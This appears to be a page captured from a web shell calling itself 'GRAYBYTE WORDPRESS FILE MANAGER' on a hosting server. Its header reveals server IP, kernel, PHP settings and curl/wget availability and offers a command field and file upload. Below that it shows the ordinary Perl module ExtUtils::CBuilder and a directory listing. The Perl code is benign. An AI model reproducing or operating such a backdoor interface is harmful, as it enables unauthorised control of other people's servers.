GRAYBYTE WORDPRESS FILE MANAGER7015

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/share/perl5/vendor_perl/ExtUtils/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/perl5/vendor_perl/ExtUtils//CBuilder.pm
package ExtUtils::CBuilder;

use File::Spec ();
use File::Path ();
use File::Basename ();
use Perl::OSType qw/os_type/;

use warnings;
use strict;
our $VERSION = '0.280230'; # VERSION
our @ISA;

# We only use this once - don't waste a symbol table entry on it.
# More importantly, don't make it an inheritable method.
my $load = sub {
  my $mod = shift;
  eval "use $mod";
  die $@ if $@;
  @ISA = ($mod);
};

{
  my @package = split /::/, __PACKAGE__;

  my $ostype = os_type();

  if (grep {-e File::Spec->catfile($_, @package, 'Platform', $^O) . '.pm'} @INC) {
      $load->(__PACKAGE__ . "::Platform::$^O");

  } elsif ( $ostype &&
            grep {-e File::Spec->catfile($_, @package, 'Platform', $ostype) . '.pm'} @INC) {
      $load->(__PACKAGE__ . "::Platform::$ostype");

  } else {
      $load->(__PACKAGE__ . "::Base");
  }
}

1;
__END__

=head1 NAME

ExtUtils::CBuilder - Compile and link C code for Perl modules

=head1 SYNOPSIS

  use ExtUtils::CBuilder;

  my $b = ExtUtils::CBuilder->new(%options);
  $obj_file = $b->compile(source => 'MyModule.c');
  $lib_file = $b->link(objects => $obj_file);

=head1 DESCRIPTION

This module can build the C portions of Perl modules by invoking the
appropriate compilers and linkers in a cross-platform manner.  It was
motivated by the C<Module::Build> project, but may be useful for other
purposes as well.  However, it is I<not> intended as a general
cross-platform interface to all your C building needs.  That would
have been a much more ambitious goal!

=head1 METHODS

=over 4

=item new

Returns a new C<ExtUtils::CBuilder> object.  A C<config> parameter
lets you override C<Config.pm> settings for all operations performed
by the object, as in the following example:

  # Use a different compiler than Config.pm says
  my $b = ExtUtils::CBuilder->new( config =>
                                   { ld => 'gcc' } );

A C<quiet> parameter tells C<CBuilder> to not print its C<system()>
commands before executing them:

  # Be quieter than normal
  my $b = ExtUtils::CBuilder->new( quiet => 1 );

=item have_compiler

Returns true if the current system has a working C compiler and
linker, false otherwise.  To determine this, we actually compile and
link a sample C library.  The sample will be compiled in the system
tempdir or, if that fails for some reason, in the current directory.

=item have_cplusplus

Just like have_compiler but for C++ instead of C.

=item compile

Compiles a C source file and produces an object file.  The name of the
object file is returned.  The source file is specified in a C<source>
parameter, which is required; the other parameters listed below are
optional.

=over 4

=item C<object_file>

Specifies the name of the output file to create.  Otherwise the
C<object_file()> method will be consulted, passing it the name of the
C<source> file.

=item C<include_dirs>

Specifies any additional directories in which to search for header
files.  May be given as a string indicating a single directory, or as
a list reference indicating multiple directories.

=item C<extra_compiler_flags>

Specifies any additional arguments to pass to the compiler.  Should be
given as a list reference containing the arguments individually, or if
this is not possible, as a string containing all the arguments
together.

=item C<C++>

Specifies that the source file is a C++ source file and sets appropriate
compiler flags

=back

The operation of this method is also affected by the
C<archlibexp>, C<cccdlflags>, C<ccflags>, C<optimize>, and C<cc>
entries in C<Config.pm>.

=item link

Invokes the linker to produce a library file from object files.  In
scalar context, the name of the library file is returned.  In list
context, the library file and any temporary files created are
returned.  A required C<objects> parameter contains the name of the
object files to process, either in a string (for one object file) or
list reference (for one or more files).  The following parameters are
optional:


=over 4

=item lib_file

Specifies the name of the output library file to create.  Otherwise
the C<lib_file()> method will be consulted, passing it the name of
the first entry in C<objects>.

=item module_name

Specifies the name of the Perl module that will be created by linking.
On platforms that need to do prelinking (Win32, OS/2, etc.) this is a
required parameter.

=item extra_linker_flags

Any additional flags you wish to pass to the linker.

=back

On platforms where C<need_prelink()> returns true, C<prelink()>
will be called automatically.

The operation of this method is also affected by the C<lddlflags>,
C<shrpenv>, and C<ld> entries in C<Config.pm>.

=item link_executable

Invokes the linker to produce an executable file from object files.  In
scalar context, the name of the executable file is returned.  In list
context, the executable file and any temporary files created are
returned.  A required C<objects> parameter contains the name of the
object files to process, either in a string (for one object file) or
list reference (for one or more files).  The optional parameters are
the same as C<link> with exception for


=over 4

=item exe_file

Specifies the name of the output executable file to create.  Otherwise
the C<exe_file()> method will be consulted, passing it the name of the
first entry in C<objects>.

=back

=item object_file

 my $object_file = $b->object_file($source_file);

Converts the name of a C source file to the most natural name of an
output object file to create from it.  For instance, on Unix the
source file F<foo.c> would result in the object file F<foo.o>.

=item lib_file

 my $lib_file = $b->lib_file($object_file);

Converts the name of an object file to the most natural name of a
output library file to create from it.  For instance, on Mac OS X the
object file F<foo.o> would result in the library file F<foo.bundle>.

=item exe_file

 my $exe_file = $b->exe_file($object_file);

Converts the name of an object file to the most natural name of an
executable file to create from it.  For instance, on Mac OS X the
object file F<foo.o> would result in the executable file F<foo>, and
on Windows it would result in F<foo.exe>.


=item prelink

On certain platforms like Win32, OS/2, VMS, and AIX, it is necessary
to perform some actions before invoking the linker.  The
C<ExtUtils::Mksymlists> module does this, writing files used by the
linker during the creation of shared libraries for dynamic extensions.
The names of any files written will be returned as a list.

Several parameters correspond to C<ExtUtils::Mksymlists::Mksymlists()>
options, as follows:

    Mksymlists()   prelink()          type
   -------------|-------------------|-------------------
    NAME        |  dl_name          | string (required)
    DLBASE      |  dl_base          | string
    FILE        |  dl_file          | string
    DL_VARS     |  dl_vars          | array reference
    DL_FUNCS    |  dl_funcs         | hash reference
    FUNCLIST    |  dl_func_list     | array reference
    IMPORTS     |  dl_imports       | hash reference
    VERSION     |  dl_version       | string

Please see the documentation for C<ExtUtils::Mksymlists> for the
details of what these parameters do.

=item need_prelink

Returns true on platforms where C<prelink()> should be called
during linking, and false otherwise.

=item extra_link_args_after_prelink

Returns list of extra arguments to give to the link command; the arguments
are the same as for prelink(), with addition of array reference to the
results of prelink(); this reference is indexed by key C<prelink_res>.

=back

=head1 TO DO

Currently this has only been tested on Unix and doesn't contain any of
the Windows-specific code from the C<Module::Build> project.  I'll do
that next.

=head1 HISTORY

This module is an outgrowth of the C<Module::Build> project, to which
there have been many contributors.  Notably, Randy W. Sims submitted
lots of code to support 3 compilers on Windows and helped with various
other platform-specific issues.  Ilya Zakharevich has contributed
fixes for OS/2; John E. Malmberg and Peter Prymmer have done likewise
for VMS.

=head1 SUPPORT

ExtUtils::CBuilder is maintained as part of the Perl 5 core.  Please
submit any bug reports via the F<perlbug> tool included with Perl 5.
Bug reports will be included in the Perl 5 ticket system at
L<http://rt.perl.org>.

The Perl 5 source code is available at <http://perl5.git.perl.org/perl.git>
and ExtUtils-CBuilder may be found in the F<dist/ExtUtils-CBuilder> directory
of the repository.

=head1 AUTHOR

Ken Williams, kwilliams@cpan.org

Additional contributions by The Perl 5 Porters.

=head1 COPYRIGHT

Copyright (c) 2003-2005 Ken Williams.  All rights reserved.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=head1 SEE ALSO

perl(1), Module::Build(3)

=cut

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 04 2025 01:48:16
root / root
0755
CBuilder
--
March 03 2024 19:12:34
root / root
0755
Command
--
March 03 2024 19:12:34
root / root
0755
Liblist
--
March 03 2024 19:12:34
root / root
0755
MM
--
March 03 2024 19:11:22
root / root
0755
MakeMaker
--
March 03 2024 19:12:34
root / root
0755
ParseXS
--
March 03 2024 19:11:20
root / root
0755
Typemaps
--
March 03 2024 19:11:20
root / root
0755
CBuilder.pm
8.672 KB
November 22 2017 16:20:35
root / root
0644
Command.pm
7.619 KB
March 19 2018 10:21:53
root / root
0644
Install.pm
40.059 KB
May 28 2017 10:51:53
root / root
0644
Installed.pm
14.026 KB
May 28 2017 10:51:43
root / root
0644
Liblist.pm
9.515 KB
October 13 2019 08:55:21
root / root
0644
MANIFEST.SKIP
0.948 KB
December 31 2014 19:02:48
root / root
0644
MM.pm
2.088 KB
March 19 2018 10:21:54
root / root
0644
MM_AIX.pm
1.37 KB
March 19 2018 10:21:54
root / root
0644
MM_Any.pm
80.813 KB
March 19 2018 10:21:54
root / root
0644
MM_BeOS.pm
1.02 KB
March 19 2018 10:21:54
root / root
0644
MM_Cygwin.pm
3.989 KB
March 19 2018 10:21:54
root / root
0644
MM_DOS.pm
1.027 KB
March 19 2018 10:21:53
root / root
0644
MM_Darwin.pm
0.914 KB
March 19 2018 10:21:54
root / root
0644
MM_MacOS.pm
0.871 KB
March 19 2018 10:21:54
root / root
0644
MM_NW5.pm
5.338 KB
March 19 2018 10:21:54
root / root
0644
MM_OS2.pm
3.142 KB
March 19 2018 10:21:54
root / root
0644
MM_QNX.pm
0.873 KB
March 19 2018 10:21:54
root / root
0644
MM_UWIN.pm
0.958 KB
March 19 2018 10:21:54
root / root
0644
MM_Unix.pm
108.468 KB
October 13 2019 08:55:21
root / root
0644
MM_VMS.pm
66.52 KB
March 19 2018 10:21:54
root / root
0644
MM_VOS.pm
0.731 KB
March 19 2018 10:21:53
root / root
0644
MM_Win32.pm
14.064 KB
March 19 2018 10:21:54
root / root
0644
MM_Win95.pm
1.251 KB
March 19 2018 10:21:53
root / root
0644
MY.pm
0.662 KB
March 19 2018 10:21:54
root / root
0644
MakeMaker.pm
107.939 KB
October 13 2019 08:55:21
root / root
0644
Manifest.pm
22.89 KB
December 31 2014 19:02:48
root / root
0644
Mkbootstrap.pm
3.229 KB
March 19 2018 10:21:53
root / root
0644
Mksymlists.pm
10.744 KB
March 19 2018 10:21:54
root / root
0644
Packlist.pm
8.364 KB
May 28 2017 10:51:43
root / root
0644
ParseXS.pm
65.012 KB
July 31 2017 15:46:04
root / root
0644
ParseXS.pod
4.303 KB
July 31 2017 15:46:04
root / root
0644
Typemaps.pm
26.167 KB
July 31 2017 15:46:04
root / root
0644
testlib.pm
0.895 KB
March 19 2018 10:21:54
root / root
0644
xsubpp
4.961 KB
October 13 2019 08:58:35
root / root
0755

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF